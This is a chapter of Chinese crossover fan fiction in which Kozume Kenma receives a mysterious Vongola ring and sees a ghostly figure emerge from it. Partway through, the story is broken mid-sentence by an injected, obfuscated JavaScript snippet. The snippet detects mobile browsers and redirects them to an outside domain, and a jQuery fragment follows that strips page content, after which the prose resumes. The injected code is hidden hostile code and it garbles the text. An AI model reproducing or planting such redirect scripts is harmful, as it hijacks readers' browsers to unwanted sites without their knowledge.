夕阳最后的余晖斜斜切过音驹高中男子排球部的窗框，在地板投下昏黄的光斑。
空气里浮动着运动过后特有的、汗水与清洁剂混合的微酸气味。
孤爪研磨靠着更衣室的铁皮柜，他微长的刘海垂落，几乎遮住半张脸，只露出一点紧绷的下颌线条。指尖有一下没一下地戳着手机屏幕。
屏幕上，《动物之森》的游戏角色正抱着一个巨大到滑稽的萝卜，慢吞吞地在像素草地上挪动。
研磨眼神放空，焦点散落在屏幕之外某个虚无的点上。
手指每一次漫无目的的滑动，都是他结束一天高强度训练后，仅存的、能让他蜗居片刻的宁静仪式。
“哐当！”
更衣室的门被大力撞开，声音在空旷的房间里炸开。
山本猛虎提着他那个塞得鼓鼓囊囊的运动包闯了进来，汗湿的黑发紧贴着饱满的额角，还滴着水珠。
他洪亮的嗓门带着未散尽的球场活力，瞬间撕裂了研磨小心翼翼构筑起的宁静屏障：“研磨，走了走了！再磨蹭食堂的猪排饭要没啦！”
研磨的指尖悬停在屏幕上方，彻底僵住。
他没有抬头，视线固执地锁在那个圆滚滚的萝卜小人身上，声音闷闷地从喉咙深处挤出来，带着一丝不易察觉的抗拒和逃避：“……我……吃咖喱包就行。”
他讨厌人多的食堂，讨厌排队，讨厌嘈杂。
角落里的自动售货机更清净。
“哈？又吃那个？” 黑尾铁朗跟着挤进来，带着一身刚冲完澡的清爽水汽和沐浴露味道。
他湿漉漉的手臂带着不容置疑的热度，径直朝研磨的肩膀搭去，却被后者像受惊的猫一样敏捷地扭身躲开。
黑尾也不恼，反而咧嘴一笑，露出一口白牙。
“今天可是周五！为了庆祝这周魔鬼特训终于结束，我请客出去聚餐，地方随便挑，怎么样？”
话音刚落，几个还在磨蹭收拾东西的一年级队员眼睛瞬间亮了，爆发出压抑不住的兴奋欢呼：
“哇！真的吗黑尾前辈！”
“太棒了！谢谢队长！”
“去吃烤肉吧！我知道新开的那家！”
“同意同意！”
空气瞬间变得粘稠而喧闹。那些兴奋的目光、热切的议论、混合着对食物的期待，像无数无形的丝线，瞬间缠绕上来，勒得研磨几乎喘不过气。
他讨厌这种突如其来的，打破他预设程序的安排，讨厌被强行拖入热闹的中心。
研磨深深地垂下眼睑，长长的睫毛在眼下投出小片浓密的阴影，藏住了几乎要脱口而出的拒绝。
黑尾的手臂带着不容抗拒的暖意，即使没碰到他，也像一道无形的墙。虎也在一旁，眼睛亮晶晶地看着他。
他能感觉到自己脸颊的肌肉在微微发烫，喉咙干涩得发紧。
沉默在更衣室里弥漫，几秒钟漫长得像一个世纪。研磨甚至能听到自己吞咽唾沫的微小声音。
终于，在众人的注视下，他极其轻微地、幅度小到几乎看不见地点了点头。
“……知道了。”
指尖在屏幕边缘轻轻一划，带着一种认命般的疲惫。
萝卜小人的世界，连同那片短暂的、属于他的宁静孤岛，瞬间暗了下去。
屏幕归于漆黑，映出他模糊而苍白的倒影。
*
从排球馆去往商业街的烤肉店，需要穿过两个嘈杂的十字路口和一条种满了高大榉树的林荫道。
五月的晚风带着暖意，掠过皮肤上尚未干透的薄汗，带来一阵微凉的舒爽，也卷动着头顶茂密的树叶，发出持续不断的、温柔的沙沙声。
黑尾和那群精力旺盛、刚加入排球部不久的一年级生走在前面，勾肩搭背，高谈阔论着训练时的趣事和待会儿要点什么肉。
笑声很吵。
研磨独自缀在队伍最后，脚步拖沓，校服外套松松垮垮地挂在身上，整个人散发着一种与周遭欢快氛围格格不入的疏离感。
沉重的书包带子勒得单薄的肩膀有些酸痛，他皱着眉，把它往下拽了拽。就在手指滑过裤袋布料时，指尖清晰地触碰到了一个微小的、冷硬的凸起。
是枚戒指。
是他前几天玩游戏时莫名其妙抽中的一个奖励。
几天前，他在某个打发时间的抽卡类手游里，莫名其妙地抽中了所谓的“限定版家族徽章收藏套装”头奖。
当时他只瞥了一眼那虚拟的橙色戒指图标，根本没放在心上，随手叉掉通知，转头就投入了新副本的战斗。
结果昨天放学回家，却意外在公寓门口发现了一个极其简陋且没有任何标识的薄纸板快递盒。
拆开后，里面静静躺着的就是这枚戒指。
银色的金属戒身，戒面镶嵌着一颗色泽深沉、内里仿佛有云雾流转的橙色宝石，上面刻着一个他从未见过的，线条繁复的徽章（像某种猛禽的羽翼，又像一面盾牌）。
他只当是游戏公司寄来的廉价塑料或锌合金周边，随手把它塞进了当时穿着的裤子口袋里。
今早换训练裤时，这枚冰冷的戒指和硬币一起，叮叮当当地滚落在地板上。
他皱着眉把它捡了起来。
昨天还未注意到，戒指入手的感觉倒是格外出乎意料。
沉甸甸的，冰凉的金属触感细腻光滑，带着一种远超普通工艺品的质感，在晨光下流淌着内敛的光泽。
研磨不知道这个东西是谁寄给他的，没有寄件人标签，没有发货单，那个简陋到过分的快递盒上连个寄件地址都没有。
这件东西，就像是从游戏的虚拟数据里直接掉落到他的现实世界，充满了难以言喻的违和感。
想到这里，他下意识地把手伸进口袋，指尖触碰到冰冷的金属边缘。
这时，旁边的草丛里传来细微的窸窣声，一只猫警惕地探出头，冲他细细地“喵”了一声。
大概是被他身上运动饮料的甜味吸引了。
“……没了。” 研磨看着它圆溜溜的眼睛，低声咕哝了一句，语气里没什么情绪。
猫歪着头，黄绿色的竖瞳疑惑地打量了他一会儿，耳朵灵巧地动了动，似乎确认了这个人身上真的没有食物，便轻盈地一转身，尾巴高高翘起，消失在了浓密的灌木丛深处。
“研磨！” 黑尾的声音从前方传来，穿透了晚风和树叶的沙沙声。他已经站在十字路口的红绿灯下，正回头朝他招手，“绿灯了！快跟上！”
人群开始移动，穿过宽阔的斑马线。研磨落在队伍最后几步，前面的队友已经快走到对面。绿灯的倒计时小人已经开始急促地闪烁。
他不得不稍微加快了一点脚步。
就在刚才指尖触碰到戒指的那一瞬间，一丝极其微弱的、如同静电般细小的麻痒感，顺着指尖的神经末梢倏地窜了上来，转瞬即逝。
是错觉吗……？
研磨没太当回事。
————
烤肉店里弥漫的油腻香气、铁板上滋滋作响的肉片声、队友们此起彼伏的谈笑和碰杯声……
这一切都不断冲击着研磨脆弱的神经防线。坚持了不到半小时，太阳穴便开始隐隐作痛。
趁着黑尾起身去加单，虎正手舞足蹈地讲述一个笑话吸引众人注意力的空档，他贴着墙边，悄然溜出了这片喧闹的场所。
回到家，他径直回了自己房间。
卧室里，他盘腿坐在地板上，背抵着床沿。
他面前的矮桌上，孤零零地放着一个空的咖喱喱包塑料包装袋，而占据桌面中心位置的，正是那枚戒指。
桌角还散落着几枚硬币，是刚才在便利店买咖喱喱包找零时随手扔下的，暗淡无光，在戒指的冷辉下显得廉价而多余。
头顶的白色灯光照着戒指，折射出难以捉摸的幽深光芒。那光芒并不温暖，反而带着某种无机质的冷冽。
他的指尖在冰凉的戒圈上滑过，指腹压过戒面下沿一圈精细的纹路。
没有品牌标识，没有数字标记，甚至连制作工艺留下的细微痕迹都找不到。
“Vongola……” 研磨无意识地念出内圈那道浅浅的阴刻字母，发音有些生涩。
这是戒指唯一的标识。
手指无意识地在冰凉的金属上描摹那几个陌生的字母。指尖的神经末梢传来一丝极其微弱的麻刺感，像静电瞬间掠过皮肤表面。他立刻缩回手指，皱起眉。
又是那种莫名的触感……
不是错觉…
叮——
手机屏幕倏地亮起，屏幕上跳出黑尾发来的 LINE 消息。
是一张模糊的合照，背景是居酒屋暖黄色的招牌灯光，照片里是虎高举着啤酒杯（虽然里面大概是果汁）的傻笑和黑尾对着镜头比出的“V”字手势。消息紧随其后：
【虎说你又溜了！下次别想跑！】
隔着冰冷的屏幕，似乎都能感受到照片里扑面而来的喧闹和热气。
研磨轻叹了口气，最终还是拿起手机点开了输入框。
他盯着屏幕上的虚拟键盘，手指悬空了几秒，像是在进行一场艰难的斗争，最终只敲下两个冷淡的字：【很困。】
发送前，停顿了更久，才像是完成某种任务般，毫无诚意地补上了一个默认的【zzz】表情符号。
就在他发送完毕，指尖离开屏幕的瞬间——
咔嗒。
一声极其轻微、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854962|175876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但在死寂房间里却显得无比清晰、甚至有些刺耳的脆响，突兀地响起。
声音的来源，就在他面前的矮桌上。
研磨的目光猛地从手机屏幕抬起，锁在矮桌那枚戒指上。
那枚原本应该安安静静躺着的、冰冷的、坚硬的、绝对死物的金属戒指。
它……动了？
在头顶稳定但略显刺眼的白光下，冰冷的橙色调宝石内部，毫无预兆地闪过一丝极其微弱的、难以捕捉的光弧。
研磨心脏在胸腔里骤然停跳了一拍。房间里只剩下空调外机持续的低沉嗡鸣，和他自己骤然屏住呼吸后，死一般的、令人窒息的静谧。
是错觉吧。
嗯，一定是错觉。
研磨用力眨了下眼睛，试图驱散眼前的幻象。
一定是屏幕光看久了，眼睛花了。
一定是昨天熬夜打游戏太狠，神经衰弱了。
一定是……
自我安慰的话术还未在心头完全咀嚼成形，眼前，在戒面上方不到十公分的空气里，就毫无征兆地出现了一种难以言喻的稠滞感。
并非扭曲，也不是模糊。
而是那里的光线似乎被凭空吞噬掉了一部分，空间本身变得像隔了一层厚厚的磨砂玻璃，形成一个极其微弱、边缘模糊不清、仅拳头大小的昏暗虚影区域。
那区域很小，只有拳头大小，却像一个突然出现在现实空间里的、深不见底的微型黑洞。
更让研磨头皮发麻的是，那团虚影并非静止。它正在以一种极其缓慢、极其艰难的方式，从冰冷的桌面与戒指的交界处被一点点地蔓延出来。
仿佛有一个无形的力场在强行将某种东西从戒指内部“拽”到现实世界。
那团稠滞的影像艰难地凝结、拔高，开始具现出更多令人毛骨悚然的轮廓细节：
蓬松柔软、仿佛被某种无形风暴胡乱揉搓过的棕褐色额发，模糊但依稀能辨认出的、属于年轻男性轻微成熟的侧脸轮廓，以及那瘦削但并不单薄的肩线……
“咳……咳……” 那虚影似乎在抽搐、在挣扎，影像也随之剧烈地晃动、闪烁，变得极其不稳定。
断断续续的、压抑着巨大痛苦的干咳声，并非幻觉，而是无比真切地、清晰地传入了研磨的耳膜！
研磨被彻底吓到了！
背脊瞬间绷得笔直，他像是被无形的钉子狠狠钉在了原地，连呼吸的本能都被那诡异景象和可怕声响彻底扼断！瞳孔因为惊骇而急剧收缩。
不是实体，但……也绝不是什么幻觉。
下一秒，那团不断挣扎、痛苦凝结的虚影猛地抬起了“头”！
它依然没有确切的面孔五官，只是一片由流动阴影构成的人形轮廓。唯独在额前的区域，燃烧般的金橙色光芒骤然亮起！
一簇在深渊中点燃的火焰，穿透了那层稀薄扭曲的影像阻隔，带着强烈的惊愕、审视以及一种难以言喻的沉重感，瞬间刺穿了孤爪研磨构建的所有认知屏障。
那是……什么？
时间仿佛被冻结、被无限拉长。
矮桌上那个空的咖喱喱包装袋在空调吹出的微弱气流下发出极其轻微的沙沙声，窗外城市的车流声、人声被无限压缩，变成遥远而不真切的背景噪音。
整个世界，只剩下那燃烧般的金橙色光芒的幻影，和蜷缩在角落的他。
“你……” 那个在痛苦咳嗽中凝结而成的虚影发出了声音。虽然带着严重的失真感，像是信号不良的老旧收音机，却清晰得近在耳边，每一个音节都敲打在研磨紧绷的神经上，“……你好？”
声音是沙哑的，带着剧烈的喘息和咳嗽后的余韵，有惊讶，但更深层弥漫开的，是一种令人心悸的、深入骨髓的虚弱感。
研磨僵在原地，维持着盘腿坐在矮桌前的姿势，连呼吸的本能都被那道目光的注视和突兀的话语强制扼断。
指关节无意识地收紧，思维艰难地卡在一个巨大的、布满蛛网般裂缝的断层边缘，摇摇欲坠。
几秒死寂。
或许是半分钟。
时间在惊骇的冻结中被拉得无比漫长。
然后，研磨动了。
他没有失声尖叫，没有跳起来夺路而逃。
他只是极其缓慢地，慢得像慢镜头回放，抬起了那双带着长期睡眠不足痕迹、瞳孔却在此刻缩紧如同无机质玻璃珠的眼睛。
目光穿过空气，越过惨白的光线，最终凝固在那个凭空悬浮在戒指上方的不明影像上。
喉咙滚动了一下，极其干涩。
他开口，声音低沉，平板，毫无起伏，像一潭死水，却带着一种压到极致的冰冷静谧。
“……我果然该睡了。”